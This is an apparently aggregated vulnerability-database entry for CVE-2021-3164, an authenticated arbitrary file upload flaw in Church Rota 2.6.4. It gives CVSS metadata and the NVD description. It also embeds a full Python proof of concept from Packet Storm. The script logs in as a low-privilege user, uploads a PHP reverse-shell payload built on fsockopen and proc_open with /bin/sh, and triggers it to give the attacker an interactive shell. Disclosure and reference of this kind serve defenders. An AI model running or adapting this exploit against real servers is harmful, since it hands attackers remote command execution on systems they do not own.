Description
Church Rota version 2.6.4 is vulnerable to authenticated remote ...
Related
{"id": "35E46B4B-523B-5C4E-A352-C7A35D19F3CB", "vendorId": null, "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Unrestricted Upload of File with Dangerous Type in Churchdesk Churchrota", "description": "Church Rota version 2.6.4 is vulnerable to authenticated remote ...", "published": "2021-01-20T02:48:46", "modified": "2021-10-16T06:43:27", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "", "reporter": "", "references": [], "cvelist": ["CVE-2021-3164"], "immutableFields": [], "lastseen": "2021-12-10T15:19:22", "viewCount": 7, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-3164"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:161029"]}], "rev": 4}, "score": {"value": 4.9, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2021-3164"]}, {"type": "kitploit", "idList": ["KITPLOIT:3449843613571411531"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:161029"]}, {"type": "threatpost", "idList": ["THREATPOST:99DC4B497599503D640FDFD9A2DC5FA3"]}]}, "exploitation": null, "vulnersScore": 4.9}, "_state": {"dependencies": 1646296546}, "privateArea": 1}
{"packetstorm": [{"lastseen": "2021-01-20T14:24:47", "description": "", "cvss3": {}, "published": "2021-01-20T00:00:00", "type": "packetstorm", "title": "Church Rota 2.6.4 Shell Upload", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-3164"], "modified": "2021-01-20T00:00:00", "id": "PACKETSTORM:161029", "href": "https://packetstormsecurity.com/files/161029/Church-Rota-2.6.4-Shell-Upload.html", "sourceData": "`import requests \nfrom pwn import listen \n \n############################################################################################################ \n# CVE-2021-3164 \n# Church Rota version 2.6.4 is vulnerable to authenticated remote code execution. # \n# The user does not need to have file upload permission in order to upload and execute an arbitrary file. # \n# The application is written primarily with PHP so we use PHP in our PoC # \n############################################################################################################ \n \n# credentials of the low privilege user \nUSERNAME='slixperi' \nPASSWORD='slixperi' \n \nLISTENER_IP = '127.0.0.1' \nLISTENER_PORT = '4444' \nTARGET_IP = '127.0.0.1' \nTARGET_PORT = '8081' \n \n# set the credentials for login POST \ncredentials = {\"username\":USERNAME,\"password\":PASSWORD} \n# create a session to preserve session state \nsesh = requests.session() \n# login as our low-privilege user (normally only admins can upload files) \nsesh.post(f\"http://{TARGET_IP}:{TARGET_PORT}/login.php\", data=credentials) \n \n# define the payload \npayload = f\"<?php $sock=fsockopen(\\\"{LISTENER_IP}\\\",{LISTENER_PORT});$proc=proc_open(\\\"/bin/sh -i\\\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>\" \n \n# file upload \nsesh.headers.update({\"Referer\": f\"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=new\"}) \nfiles = {'resourcefile': (\"shell.php\", payload)} \nsesh.post(f\"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=newsent\", files=files) \n \nl = listen(LISTENER_PORT) \n \n# execute the file \nsesh.get(f\"http://{TARGET_IP}:{TARGET_PORT}/documents/shell.php\") \n \nl.interactive() \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/161029/cve-2021-3164.py.txt", "cvss": {"score": 0.0, "vector": "NONE"}}], "cve": [{"lastseen": "2022-03-23T18:07:07", "description": "ChurchRota 2.6.4 is vulnerable to authenticated remote code execution. The user does not need to have file upload permission in order to upload and execute an arbitrary file via a POST request to resources.php.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-01-26T18:16:00", "type": "cve", "title": "CVE-2021-3164", "cwe": ["CWE-434"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-3164"], "modified": "2021-02-02T15:29:00", "cpe": ["cpe:/a:churchdesk:churchrota:2.6.4"], "id": "CVE-2021-3164", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-3164", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:churchdesk:churchrota:2.6.4:*:*:*:*:*:*:*"]}]}